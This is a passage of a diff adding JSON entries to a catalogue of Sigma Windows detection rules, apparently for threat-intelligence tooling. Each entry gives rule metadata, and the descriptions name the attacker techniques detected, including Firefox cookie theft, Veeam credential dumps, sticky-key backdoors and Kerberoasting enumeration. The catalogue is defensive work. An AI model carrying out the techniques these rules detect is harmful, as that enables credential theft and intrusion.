"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shell_spawn_susp_program.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1059.005", + "attack.t1059.001", + "attack.t1218" + ], + "creation_date": "2018/04/06", + "filename": "proc_creation_win_shell_spawn_susp_program.yml", + "author": "Florian Roth, Tim Shelton", + "level": "high", + "falsepositive": [ + "Administrative scripts", + "Microsoft SCCM" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects SILENTTRINITY stager use", + "uuid": "03552375-cc2c-4883-bbe4-7958d5a980be", + "value": "SILENTTRINITY Stager Execution", + "meta": { + "refs": [ + "https://github.com/byt3bl33d3r/SILENTTRINITY", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_silenttrinity_stage_use.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071" + ], + "creation_date": "2019/10/22", + "filename": "proc_creation_win_silenttrinity_stage_use.yml", + "author": "Aleksey Potapov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.", + "uuid": "e13f668e-7f95-443d-98d2-1816a7648a7b", + "value": "Detected Windows Software Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", + "https://github.com/harleyQu1nn/AggressorScripts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_software_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518" + ], + "creation_date": "2020/10/16", + "filename": "proc_creation_win_software_discovery.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect attacker collecting audio via SoundRecorder application.", + "uuid": "83865853-59aa-449e-9600-74b9d89a6d6e", + "value": "Audio Capture via SoundRecorder", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md", + "https://eqllib.readthedocs.io/en/latest/analytics/f72a98cb-7b3d-4100-99c3-a138b6e9ff6e.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_soundrec_audio_capture.yml" + ], + "tags": [ + "attack.collection", + "attack.t1123" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_soundrec_audio_capture.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate audio capture by legitimate user." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Service Principal Name Enumeration used for Kerberoasting", + "uuid": "1eeed653-dbc8-4187-ad0c-eeebb20e6599", + "value": "Possible SPN Enumeration", + "meta": { + "refs": [ + "https://p16.praetorian.com/blog/how-to-use-kerberoasting-t1208-for-privilege-escalation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_spn_enum.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ], + "creation_date": "2018/11/14", + "filename": "proc_creation_win_spn_enum.yml", + "author": "Markus Neis, keepwatch", + "level": "medium", + "falsepositive": [ + "Administrator Activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects dump of credentials in VeeamBackup dbo", + "uuid": "b57ba453-b384-4ab9-9f40-1038086b4e53", + "value": "VeeamBackup Database Credentials Dump", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://forums.veeam.com/veeam-backup-replication-f2/recover-esxi-password-in-veeam-t34630.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlcmd_veeam_dump.yml" + ], + "tags": [ + "attack.collection", + "attack.t1005" + ], + "creation_date": "2021/12/20", + "filename": "proc_creation_win_sqlcmd_veeam_dump.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of sqlite binary to query the Firefox cookies.sqlite database and steal the cookie data contained within it", + "uuid": "4833155a-4053-4c9c-a997-777fcea0baa7", + "value": "SQLite Firefox Cookie DB Access", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1539/T1539.md#atomic-test-1---steal-firefox-cookies-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlite_firefox_cookies.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1539" + ], + "creation_date": "2022/04/08", + "filename": "proc_creation_win_sqlite_firefox_cookies.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen", + "uuid": "2fdefcb3-dbda-401e-ae23-f0db027628bc", + "value": "Sticky Key Like Backdoor Usage", + "meta": { + "refs": [ + "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stickykey_like_backdoor.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.008", + "car.2014-11-003", + "car.2014-11-008" + ], + "creation_date": "2018/03/15", + "filename": "proc_creation_win_stickykey_like_backdoor.yml", + "author": "Florian Roth, @twjackomo, Jonhnathan Ribeiro, oscd.community", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "By replacing the sticky keys executable with the local admins CMD executable, an attacker is able to access a privileged windows console session without authenticating to the system.\nWhen the sticky keys are \"activated\" the privilleged shell is launched.\n", + "uuid": "1070db9a-3e5d-412e-8e7b-7183b616e1b3", + "value": "Sticky-Key Backdoor Copy Cmd.exe", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html", + "https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign-v1.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sticky_keys_unauthenticated_privileged_cmd_access.yml" + ], + "tags": [ + "attack.t1546.008", + "attack.privilege_escalation" + ], + "creation_date": "2020/02/18", + "filename": "proc_creation_win_sticky_keys_unauthenticated_privileged_cmd_access.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe", + "uuid": "961e0abb-1b1e-4c84-a453-aafe56ad0d34", + "value": "Execution via stordiag.exe", + "meta": { + "refs": [ + "https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html", + "https://twitter.com/eral4m/status/1451112385041911809", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stordiag_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/10/21", + "filename": "proc_creation_win_stordiag_execution.yml", + "author": "Austin Songer (@austinsonger)", + "level": "high", + "falsepositive": [ + "Legitimate usage of stordiag.exe." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Ntvdm.exe allows the execution of 16-bit Windows applications on 32-bit Windows operating systems, as well as the execution of both 16-bit and 32-bit DOS applications", + "uuid": "16905e21-66ee-42fe-b256-1318ada2d770", + "value": "Start of NT Virtual DOS Machine", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/compatibility/ntvdm-and-16-bit-app-support", + "https://support.microsoft.com/fr-fr/topic/an-ms-dos-based-program-that-uses-the-ms-dos-protected-mode-interface-crashes-on-a-computer-that-is-running-windows-7-5dc739ea-987b-b458-15e4-d28d5cca63c7", + "https://app.any.run/tasks/93fe92fa-8b2b-4d92-8c09-a841aed2e793/", + "https://app.any.run/tasks/214094a7-0abc-4a7b-a564-1b757faed79d/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_16bit_application.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/07/16", + "filename": "proc_creation_win_susp_16bit_application.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of 3proxy, a tiny free proxy server", + "uuid": "f38a82d2-fba3-4781-b549-525efbec8506", + "value": "3Proxy Usage", + "meta": { + "refs": [ + "https://github.com/3proxy/3proxy", + "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_3proxy_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572" + ], + "creation_date": "2022/09/13", + "filename": "proc_creation_win_susp_3proxy_usage.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities", + "uuid": "9fbf5927-5261-4284-a71d-f681029ea574", + "value": "Compress Data and Lock With Password for Exfiltration With 7-ZIP", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_7z.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2021/07/27", + "filename": "proc_creation_win_susp_7z.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Command line parameter combinations that contain all included strings" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious 7zip execution that involves a file with a .dmp extension, which could be a step in a process of dump file exfiltration", + "uuid": "ec570e53-4c76-45a9-804d-dc3f355ff7a7", + "value": "7Zip Compressing Dump Files", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_7zip_dmp.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_susp_7zip_dmp.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate use of 7-Zip with a command line in which .dmp appears accidentally" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command line that adds an account to the local administrators/administrateurs group", + "uuid": "ad720b90-25ad-43ff-9b5e-5c841facc8e5", + "value": "Add User to Local Administrators", + "meta": { + "refs": [ + "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_local_admin.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2022/08/12", + "filename": "proc_creation_win_susp_add_local_admin.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious command line in which a user gets added to the local Remote Desktop Users group", + "uuid": "ffa28e60-bdb1-46e0-9f82-05f7a61cc06e", + "value": "Suspicious Add User to Remote Desktop Users Group", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_user_remote_desktop.yml" + ], + "tags": [ + "attack.persistence", + "attack.lateral_movement", + "attack.t1133", + "attack.t1136.001", + "attack.t1021.001" + ], + "creation_date": "2021/12/06", + "filename": "proc_creation_win_susp_add_user_remote_desktop.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of a AdFind for enumeration based on it's commadline flags", + "uuid": "455b9d50-15a1-4b99-853f-8d37655a4c1b", + "value": "Suspicious AdFind Enumeration", + "meta": { + "refs": [ + "https://www.joeware.net/freetools/tools/adfind/", + "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.002/T1087.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adfind_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002" + ], + "creation_date": "2021/12/13", + "filename": "proc_creation_win_susp_adfind_enumeration.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.", + "uuid": "9a132afa-654e-11eb-ae93-0242ac130002", + "value": "AdFind Usage Detection", + "meta": { + "refs": [ + "https://www.joeware.net/freetools/tools/adfind/", + "https://thedfirreport.com/2020/05/08/adfind-recon/", + "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", + "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adfind_usage.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018", + "attack.t1087.002", + "attack.t1482", + "attack.t1069.002" + ], + "creation_date": "2021/02/02", + "filename": "proc_creation_win_susp_adfind_usage.yml", + "author": "Janantha Marasinghe (https://github.com/blueteam0ps), FPT.EagleEye Team, omkar72, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate admin activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and python.exe must be installed,\nUsee to Query/modify DNS records for Active Directory integrated DNS via LDAP\n", + "uuid": "26d3f0a2-f514-4a3f-a8a7-e7e48a8d9160", + "value": "Suspicious Execution of Adidnsdump", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-9---remote-system-discovery---adidnsdump", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adidnsdump.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ], + "creation_date": "2022/01/01", + "filename": "proc_creation_win_susp_adidnsdump.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of AdvancedRun utility", + "uuid": "d2b749ee-4225-417e-b20e-a8d2193cbb84", + "value": "Suspicious AdvancedRun Execution", + "meta": { + "refs": [ + "https://twitter.com/splinter_code/status/1483815103279603714", + "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", + "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_advancedrun.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/20", + "filename": "proc_creation_win_susp_advancedrun.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of AdvancedRun utility in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts", + "uuid": "fa00b701-44c6-4679-994d-5a18afa8a707", + "value": "Suspicious AdvancedRun Runas Priv User", + "meta": { + "refs": [ + "https://twitter.com/splinter_code/status/1483815103279603714", + "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", + "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_advancedrun_priv_user.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/20", + "filename": "proc_creation_win_susp_advancedrun_priv_user.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", + "uuid": "a6fc3c46-23b8-4996-9ea2-573f4c4d88c5", + "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_athremotefxvgpudisablementcommand.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/07/13", + "filename": "proc_creation_win_susp_athremotefxvgpudisablementcommand.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects base64 encoded powershell 'Invoke-' call", + "uuid": "6385697e-9f1b-40bd-8817-f4a91f40508e", + "value": "Suspicious Base64 Encoded Powershell Invoke", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_base64_invoke.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/05/20", + "filename": "proc_creation_win_susp_base64_invoke.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious base64 encoded and obbfuscated LOAD string often used for reflection.assembly load", + "uuid": "9c0295ce-d60d-40bd-bd74-84673b7592b1", + "value": "Suspicious Encoded Obfuscated LOAD String", + "meta": { + "refs": [ + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_base64_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/03/01", + "filename": "proc_creation_win_susp_base64_load.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects, possibly, malicious unauthorized usage of bcdedit.exe", + "uuid": "c9fbe8e9-119d-40a6-9b59-dd58a5d84429", + "value": "Possible Ransomware or Unauthorized MBR Modifications", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--set", + "https://twitter.com/malwrhunterteam/status/1372536434125512712/photo/2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bcdedit.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.persistence", + "attack.t1542.003" + ], + "creation_date": "2019/02/07", + "filename": "proc_creation_win_susp_bcdedit.yml", + "author": "@neu5ron", + "level": "medium", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execute VBscript code that is referenced within the *.bgi file.", + "uuid": "aaf46cdc-934e-4284-b329-34aa701e3771", + "value": "Application Whitelisting Bypass via Bginfo", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/", + "https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bginfo.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.defense_evasion", + "attack.t1218", + "attack.t1202" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_susp_bginfo.yml", + "author": "Beyu Denis, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects transferring files from system on a server bitstransfer Powershell cmdlets", + "uuid": "cd5c8085-4070-4e22-908d-a5b3342deb74", + "value": "Suspicious Bitstransfer via PowerShell", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?view=windowsserver2019-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bitstransfer.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.persistence", + "attack.t1197" + ], + "creation_date": "2021/08/19", + "filename": "proc_creation_win_susp_bitstransfer.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of a set of builtin commands often used in recon stages by different attack groups", + "uuid": "2887e914-ce96-435f-8105-593937e90757", + "value": "Reconnaissance Activity Using BuiltIn Commands", + "meta": { + "refs": [ + "https://twitter.com/haroonmeer/status/939099379834658817", + "https://twitter.com/c_APT_ure/status/939475433711722497", + "https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_builtin_commands_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087", + "attack.t1082", + "car.2016-03-001" + ], + "creation_date": "2018/08/22", + "filename": "proc_creation_win_susp_builtin_commands_recon.yml", + "author": "Florian Roth, Markus Neis", + "level": "medium", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious use of 'calc.exe' with command line parameters or in a suspicious directory, which is likely caused by some PoC or detection evasion", + "uuid": "737e618a-a410-49b5-bec3-9e55ff7fbc15", + "value": "Suspicious Calculator Usage", + "meta": { + "refs": [ + "https://twitter.com/ItsReallyNick/status/1094080242686312448", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_calc.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2019/02/09", + "filename": "proc_creation_win_susp_calc.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Launch 64-bit shellcode from a debugger script file using cdb.exe.", + "uuid": "b5c7395f-e501-4a08-94d4-57fe7a9da9d2", + "value": "Possible App Whitelisting Bypass via WinDbg/CDB as a Shellcode Runner", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/", + "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", + "https://twitter.com/nas_bench/status/1534957360032120833", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cdb.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106", + "attack.defense_evasion", + "attack.t1218", + "attack.t1127" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_susp_cdb.yml", + "author": "Beyu Denis, oscd.community, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of debugging tools" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code", + "uuid": "e011a729-98a6-4139-b5c4-bf6f6dd8239a", + "value": "Suspicious Certutil Command Usage", + "meta": { + "refs": [ + "https://twitter.com/JohnLaTwC/status/835149808817991680", + "https://blogs.technet.microsoft.com/pki/2006/11/30/basic-crl-checking-with-certutil/", + "https://www.trustedsec.com/2017/07/new-tool-release-nps_payload/", + "https://twitter.com/egre55/status/1087685529016193025", + "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_certutil_command.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140", + "attack.command_and_control", + "attack.t1105", + "attack.s0160", + "attack.g0007", + "attack.g0010", + "attack.g0045", + "attack.g0049", + "attack.g0075", + "attack.g0096" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_certutil_command.yml", + "author": "Florian Roth, juju4, keepwatch", + "level": "high", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious a certutil command that used to encode files, which is sometimes used for data exfiltration", + "uuid": "e62a9f0c-ca1e-46b2-85d5-a6da77f86d1a", + "value": "Certutil Encode", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", + "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_certutil_encode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2019/02/24", + "filename": "proc_creation_win_susp_certutil_encode.yml", + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", + "uuid": "e0552b19-5a83-4222-b141-b36184bb8d79", + "value": "Obfuscated Command Line Using Special Unicode Characters", + "meta": { + "refs": [ + "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-6---dlp-evasion-via-sensitive-data-in-vba-macro-over-http", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_char_in_cmd.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/01/15", + "filename": "proc_creation_win_susp_char_in_cmd.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE accounts", + "uuid": "590a5f4c-6c8c-4f10-8307-89afe9453a9d", + "value": "Suspicious Child Process Created as System", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", + "https://github.com/antonioCoco/RogueWinRM", + "https://twitter.com/Cyb3rWard0g/status/1453123054243024897", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_child_process_as_system_.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1134.002" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_susp_child_process_as_system_.yml", + "author": "Teymur Kheirkhabarov, Roberto Rodriguez (@Cyb3rWard0g), Open Threat Research (OTR)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources.\nData destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives\n", + "uuid": "4b046706-5789-4673-b111-66f25fe99534", + "value": "Overwrite Deleted Data with Cipher", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-3---overwrite-deleted-data-on-c-drive", + 